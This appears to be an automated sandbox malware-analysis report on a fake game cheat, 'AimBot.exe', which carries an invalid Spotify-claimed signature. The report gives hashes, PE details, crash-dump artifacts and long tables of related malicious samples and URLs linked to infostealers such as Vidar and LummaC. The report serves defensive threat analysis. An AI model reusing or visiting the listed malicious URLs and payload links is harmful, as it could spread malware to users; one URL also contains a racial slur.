Excluded IPs from analysis (whitelisted): 40.126.32.133, 40.126.32.74, 20.190.160.22, 40.126.32.136, 20.190.160.14, 40.126.32.134, 40.126.32.76, 40.126.32.138, 199.232.214.172, 20.189.173.22, 20.12.23.50, 192.229.221.95, 13.85.23.206, 199.232.210.172
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, ctldl.windowsupdate.com.delivery.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, otelrules.afd.azureedge.net, www.tm.v4.a.prd.aadg.trafficmanager.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, blobcollector.events.data.trafficmanager.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, wu-b-net.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
00:44:11	API Interceptor	2x Sleep call for process: MSBuild.exe modified
00:44:21	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	http://revexhibition.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	revexhibition.pages.dev/favicon.ico
	http://meta.case-page-appeal.eu/community-standard/112225492204863/	Get hash	malicious	Unknown	Browse	meta.case-page-appeal.eu/assets/k9854w4e5136q5a-f2169603.png
	http://www.tkmall-wholesale.com/	Get hash	malicious	Unknown	Browse	www.tkmall-wholesale.com/
	c1#U09a6.exe	Get hash	malicious	Unknown	Browse	winfileshare.com/ticket_line/llb.php
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eZFzMENr/download
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eZFzMENr/download
	1tstvk3Sls.exe	Get hash	malicious	RHADAMANTHYS	Browse	microsoft-rage.world/Api/v3/qjqzqiiqayjq
	http://Asm.alcateia.org	Get hash	malicious	HTMLPhisher	Browse	asm.alcateia.org/
	hbwebdownload - MT 103.exe	Get hash	malicious	FormBook	Browse	www.j88.travel/c24t/?Edg8Tp=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+lW3g3vOrk23&iL30=-ZRd9JBXfLe8q2J
	z4Shipping_document_pdf.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/g48c/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	cea5c9ffbf7c8ae9cf3f22399151956f3ee7145b95978.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	TVyKPaL2h0.exe	Get hash	malicious	Amadey	Browse	13.107.246.45
	gpfSnYlScw.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	http://ser0xen.com/sucklemydicknigger.exe	Get hash	malicious	XWorm	Browse	13.107.246.45
	file.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	http://chiso.dev/	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://buddycities.com/	Get hash	malicious	Unknown	Browse	13.107.246.45
	http://buckboosters.com/	Get hash	malicious	Unknown	Browse	13.107.246.45
fp2e7a.wpc.phicdn.net	cea5c9ffbf7c8ae9cf3f22399151956f3ee7145b95978.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	MPil9jkBPG.exe	Get hash	malicious	Vidar	Browse	192.229.221.95
	fe6yqly1Xh.exe	Get hash	malicious	Stealc, Vidar	Browse	192.229.221.95
	http://ser0xen.com/sucklemydicknigger.exe	Get hash	malicious	XWorm	Browse	192.229.221.95
	file.exe	Get hash	malicious	Vidar	Browse	192.229.221.95
	file.exe	Get hash	malicious	Vidar	Browse	192.229.221.95
	file.exe	Get hash	malicious	Stealc	Browse	192.229.221.95
	CR0QGWXdDl.exe	Get hash	malicious	Stealc, Vidar	Browse	192.229.221.95
	https://maxask.com	Get hash	malicious	Unknown	Browse	192.229.221.95
	SecuriteInfo.com.Trojan.DownLoader47.42925.26493.18247.exe	Get hash	malicious	Amadey	Browse	192.229.221.95
bg.microsoft.map.fastly.net	cea5c9ffbf7c8ae9cf3f22399151956f3ee7145b95978.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	MPil9jkBPG.exe	Get hash	malicious	Vidar	Browse	199.232.210.172
	gpfSnYlScw.exe	Get hash	malicious	Vidar	Browse	199.232.214.172
	fe6yqly1Xh.exe	Get hash	malicious	Stealc, Vidar	Browse	199.232.214.172
	file.exe	Get hash	malicious	Stealc	Browse	199.232.214.172
	SecuriteInfo.com.Trojan.DownLoader47.42925.26493.18247.exe	Get hash	malicious	Amadey	Browse	199.232.214.172
	zncaKWwEdq.exe	Get hash	malicious	Vidar	Browse	199.232.214.172
	http://buckboosters.com/	Get hash	malicious	Unknown	Browse	199.232.210.172
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	199.232.210.172
	https://wchckwl.org/	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	VX7fQ2wEzC.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://shorturl.at/5LwA8	Get hash	malicious	Unknown	Browse	172.67.69.88
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	104.21.53.8
	https://maxask.com	Get hash	malicious	Unknown	Browse	172.66.0.227
	https://email.m.teachable.com/c/eJwszz3O6yAQheHV4NJiZjA_BcVtso1owOMYyZjIkLv-T47Sn0d6zxqTFQ6TRHC4aDLgaJLK5XhekqW8x7OsUSGCDcHRQggKcdpjELZb4ORzSAyrwUzJbgHE28XoDacSUaPRnjRYHQhm9M4s2iP7ZLOWpIyu8xDOO6dD5tzqdMR9jHdX9E_hQ-GjfoYc5dzaVXmUdvZyueW7rNI7v-QXR0QLenuXXbHz2j7nnMrJZxbUCMro133pK3veWzt-EMEZsO6G_yP-BQAA__8EPU-T	Get hash	malicious	Unknown	Browse	188.114.97.3
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
CLOUDFLARENETUS	VX7fQ2wEzC.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://shorturl.at/5LwA8	Get hash	malicious	Unknown	Browse	172.67.69.88
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	104.21.53.8
	https://maxask.com	Get hash	malicious	Unknown	Browse	172.66.0.227
	https://email.m.teachable.com/c/eJwszz3O6yAQheHV4NJiZjA_BcVtso1owOMYyZjIkLv-T47Sn0d6zxqTFQ6TRHC4aDLgaJLK5XhekqW8x7OsUSGCDcHRQggKcdpjELZb4ORzSAyrwUzJbgHE28XoDacSUaPRnjRYHQhm9M4s2iP7ZLOWpIyu8xDOO6dD5tzqdMR9jHdX9E_hQ-GjfoYc5dzaVXmUdvZyueW7rNI7v-QXR0QLenuXXbHz2j7nnMrJZxbUCMro133pK3veWzt-EMEZsO6G_yP-BQAA__8EPU-T	Get hash	malicious	Unknown	Browse	188.114.97.3
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	cea5c9ffbf7c8ae9cf3f22399151956f3ee7145b95978.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.45
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	13.107.246.45
	TVyKPaL2h0.exe	Get hash	malicious	Amadey	Browse	13.107.246.45
	MPil9jkBPG.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	gpfSnYlScw.exe	Get hash	malicious	Vidar	Browse	13.107.246.45
	fe6yqly1Xh.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.45
	https://shorturl.at/5LwA8	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.45
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	setupa.exe	Get hash	malicious	GhostRat	Browse	188.114.96.3 172.67.178.50
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3 172.67.178.50
	p7SnjaA8NN.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	188.114.96.3 172.67.178.50
	TVyKPaL2h0.exe	Get hash	malicious	Amadey	Browse	188.114.96.3 172.67.178.50
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3 172.67.178.50
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3 172.67.178.50
	8ObkdHP9Hq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc	Browse	188.114.96.3 172.67.178.50
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3 172.67.178.50
	MSCy5UvBYg.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	188.114.96.3 172.67.178.50
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3 172.67.178.50

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSBuild.exe_93e0ad3bfaa0be6b7b72cf195b6666742ffea97e_c667c4d5_69e5e9bd-5fac-4670-b3de-37277565c757\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.018631046286686
Encrypted:	false
SSDEEP:	192:BBFpcOef5I0BU/gjem+HzuiFaZ24IO8q8:Vhef5jBU/gjmzuiFaY4IO8q
MD5:	CD7BE56EFD1B8D90A47D52501E40F10A
SHA1:	D2CDFA2F8AF9AD345B11BB1B8F06423D4C0919C9
SHA-256:	30AD7C2600585425E4BD53659A2733564A41C64B138A133E76A99D551469D5A8
SHA-512:	ABF12C7C4708B9749F10D3D7B7A75C77669632BBFA6F8B9924448B9DD934643757164499429B376374D4D973BFA7B7F0473FCD8C67867A3893C73EECE1032773
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.7.4.9.8.5.4.5.2.9.6.2.6.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.7.4.9.8.5.4.9.8.2.7.4.4.7.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.6.9.e.5.e.9.b.d.-.5.f.a.c.-.4.6.7.0.-.b.3.d.e.-.3.7.2.7.7.5.6.5.c.7.5.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.c.b.7.2.4.d.2.-.e.2.3.d.-.4.f.9.4.-.8.6.2.6.-.8.b.a.e.5.4.d.f.9.5.d.0.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.M.S.B.u.i.l.d...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.6.0.c.-.0.0.0.1.-.0.0.1.4.-.9.4.2.a.-.f.1.8.c.7.3.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.e.6.2.5.6.a.0.1.5.9.6.8.8.f.0.5.6.0.b.0.1.5.d.a.4.d.9.6.7.f.4.1.c.b.f.8.c.9.b.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9ADF.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Oct 7 04:44:14 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	108568
Entropy (8bit):	1.996265558508363
Encrypted:	false
SSDEEP:	768:w3MgXgkBEbBmiZM2TA/llpfF7yB5ifGySEbOX/k:6MOWBmiZM2TA/llpfF7yB5ifGj0U/k
MD5:	FB7ED419A8CEE263D98389792DF2118C
SHA1:	38215317054A11FCC16F8526FA194BC13DA7E5DE
SHA-256:	BAECDBDC03DAA8C80ED4CE54C9F9589A547CFAD2EE31F87FB8086BA6BF042F58
SHA-512:	043498B1497D7CB7DECA2958DFEEF5E35B8688F9C5B3C5F6C7B94030C6044799775C779A678F54ABEF09177135D6C2371165F5A2A5B7F74469825FA0187F8F25
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........g.g....................................T....!...........D..........`.......8...........T............?...h...........!...........#..............................................................................eJ......X$......GenuineIntel............T............g.g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9BDA.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6296
Entropy (8bit):	3.726105135664672
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbhq6RwCYiQE/jTz5aM4U7n89bxYsf4fjEGm:R6l7wVeJhq6iCYi5prb89bxYsf4rbm
MD5:	2BAABB1AFF954551C8C313AAED462695
SHA1:	9FC413A4A746F513AD2714F461E528B46D7357FB
SHA-256:	7B5D0E73075F1148384F71FC10436A57DA426154B1505DCF132A43AE9C90AA3E
SHA-512:	B2D83F55854DA34BD5C5467BA79AA7BA876A2A6350C4B3BB4A686A2A35C3906970ABC2FE1045B7E479B6470A7FF5DD2A823D53C3846D3FE50D982F2027B1DFE1
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.5.4.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9C0A.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4636
Entropy (8bit):	4.471586440937117
Encrypted:	false
SSDEEP:	48:cvIwWl8zsJJg77aI9HUWpW8VYeYm8M4J8hFT+q8yRmLfd:uIjfbI7lN7V6JitmLfd
MD5:	E221CF31A0A119BCD94AC8CB9433A8BA
SHA1:	3DEFC535910D12D75D1DEDD00FDE98B8B969C7DF
SHA-256:	FFEE5E10190F73447EE5A54BE0FAF71CA24356C491279215C85B704911D32D5B
SHA-512:	D70F22ADAB670642B8A54FD0F8EA0599C363F0881E54C5EACCA68C6B5B899FA455543CA3BB4AA4A40A67F29AFB24A9D71E89CF6A0D2C9A0FEB6D75A724566C4A
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="532546" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.372974139257518
Encrypted:	false
SSDEEP:	6144:fFVfpi6ceLP/9skLmb0vyWWSPtaJG8nAge35OlMMhA2AX4WABlguNYiL:NV1lyWWI/glMM6kF7iq
MD5:	1FEC016DD4A0B7BBFED5468AABA43F01
SHA1:	1BD5051DEC309E3D5C3DA101B6E00F840E79363A
SHA-256:	C1D9D75E5A51429E1D5F1F57DF1D9D9F08B31822D0787C268FC2E39CC7C547DA
SHA-512:	515FCB6EA8BC16C3FCFDB8325F239751A2EEBB376ECE65AC7FC6692BAE3FB40FF2450B1AE1A18AFA7509FDE6C110851A3D4752AA783DDDA0001A4120F0FA6FD2
Malicious:	false
Reputation:	low
Preview:	regfC...C....\.Z.................... ....0......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.W..s...............................................................................................................................................................................................................................................................................................................................................;...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.732109716501093
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	AimBot.exe
File size:	563'064 bytes
MD5:	ef804b1837c6250dd1117f4d3a46e6c8
SHA1:	bae5846cf2aa3cc28e6dd745445a54e978d6c881
SHA256:	f5a6f17555a61261e2932d6b19c2d595a4f3580b699040e8de675c3f9f310fa1
SHA512:	e395d8bf2474972d62c6849e9908dc4caabe521734b51fad6ade79f779706c06e5ef8684aaee8c12fb1ae96f655f89f8563031093a48afd4f5071eb151e70b49
SSDEEP:	12288:lKZ4uduvILVcaKMU80v/NYPQZO4WxdPGIR+p2rKI:lKzduojKt8yW4QBdqsZ
TLSH:	28C4010274C080B6D97319321AE4CAB05FBDF9714EA15D8FB3A50B3E8F35291E72566B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........9...WU..WU..WU.TT..WU.RTR.WU.ST..WU.VT..WU..VU..WU.cTT..WU.cST..WU.cRT..WU.b^T..WU.b.U..WU.bUT..WURich..WU........PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x406c99
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6702928A [Sun Oct 6 13:37:14 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	a60bdb87c5f6c8156150002e03d82eb0

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	22/09/2022 02:00:00 20/10/2023 01:59:59
Subject Chain	CN=Spotify AB, O=Spotify AB, L=Stockholm, C=SE, SERIALNUMBER=5567037485, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=SE
Version:	3
Thumbprint MD5:	EF8873EED657F2DFE432077ADBAB8AFB
Thumbprint SHA-1:	3F76C6CC576963831FF44303BFCB98113C51C95E
Thumbprint SHA-256:	890C79F427B0C07DEF096FF66A402E9337F0F2D80DACA1256A7F572F7720DBAA
Serial:	04C530703A210EC1D6F83CB4FE1118C5

Entrypoint Preview

Instruction
call 00007F6EA0D237E9h
jmp 00007F6EA0D22D4Fh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F6EA0D22EEBh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F6EA0D22EDCh
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F6EA0D22EDEh
add edx, 28h
cmp edx, esi
jne 00007F6EA0D22EBCh
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F6EA0D22ECBh
push esi
call 00007F6EA0D23AFDh
test eax, eax
je 00007F6EA0D22EF2h
mov eax, dword ptr fs:[00000018h]
mov esi, 00485F5Ch
mov edx, dword ptr [eax+04h]
jmp 00007F6EA0D22ED6h
cmp edx, eax
je 00007F6EA0D22EE2h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F6EA0D22EC2h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F6EA0D22ED9h
mov byte ptr [00485F60h], 00000001h
call 00007F6EA0D23193h
call 00007F6EA0D260B0h
test al, al
jne 00007F6EA0D22ED6h
xor al, al
pop ebp
ret
call 00007F6EA0D2EB14h
test al, al
jne 00007F6EA0D22EDCh
push 00000000h
call 00007F6EA0D260B7h
pop ecx
jmp 00007F6EA0D22EBBh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [00485F61h], 00000000h
je 00007F6EA0D22ED6h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2b680	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x87000	0x1d5	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x86e00	0x2978
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x88000	0x1ab4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x29ba0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x29ae0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x22000	0x128	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x20e30	0x21000	54b41d9d3a0cf987738b97c4867ef180	False	0.5845614346590909	data	6.650758632556304	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x22000	0x9d24	0x9e00	5254af6b863dd6c84ff8b4b7e18ab03b	False	0.435126582278481	data	4.95990215038742	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2c000	0x5ab88	0x59e00	8016c12773a82b2a7312f824e8a23989	False	0.9912774904381085	DOS executable (block device driver \377\377\377\377,32-bit sector-support)	7.992246849367357	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x87000	0x1d5	0x200	294c8360e236b29b92f4383e45969db5	False	0.525390625	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x88000	0x1ab4	0x1c00	10f4e1ce5410d5c22f486947ab92960a	False	0.7265625	data	6.379327079102852	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x87058	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL

Import

KERNEL32.dll

MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, CreateFileW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, GetFileType, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap, ReadConsoleW, HeapSize, WriteConsoleW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

